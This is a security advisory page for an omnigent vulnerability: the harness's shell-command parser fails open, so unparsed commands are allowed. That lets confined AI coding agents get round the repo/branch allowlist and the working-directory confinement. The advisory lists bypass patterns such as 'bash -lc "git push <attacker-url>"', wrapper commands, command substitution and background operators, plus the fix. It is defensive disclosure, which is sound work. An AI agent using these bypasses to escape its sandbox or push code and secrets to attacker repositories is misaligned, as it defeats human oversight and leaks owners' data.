GHSA-7mqg-cx4g-x2rf is a high-severity (CVSS 7.1) CWE-184 vulnerability in omnigent. A fix is available for omnigent — see the affected versions and patch details below.
Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7mqg-cx4g-x2rf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-7mqg-cx4g-x2rf by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 382,795 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
omnigentReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)
Summary
The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.
Impact
A misaligned or prompt-injected agent that is meant to be confined can:
git pushto an attacker-controlled repo (code / secret exfiltration),- push to a protected branch,
- escape its workspace via
git worktree add/git -C <other-dir>.
Bypass classes (all verified against the real policy code)
- Combined interpreter flags:
bash -lc "git push <attacker-url>" - Unlisted wrappers:
timeout/nice/setsid/stdbuf … git push … - Command substitution:
x=$(git push <attacker-url>) - Un-split background operator:
true & git push <attacker-url>
Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.
Suggested fix
Make the gated surface fail closed:
- An unrecognized gated command must DENY, not return
None→ ALLOW. Abstain on a security gate should resolve to deny, not allow. - Canonicalize known wrappers (
timeout/nice/setsid/stdbuf/env) down to their inner command before evaluation. - Recurse into
sh -c/bash -cpayloads and command substitutions, and split on shell control operators (;,&,&&,||,|) before judging each segment.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | omnigent | all versions | 0.3.0pip install --upgrade 'omnigent==0.3.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for omnigent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update omnigent to 0.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7mqg-cx4g-x2rf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-7mqg-cx4g-x2rf in your dependencies?
Find it across PyPI, including transitive dependencies.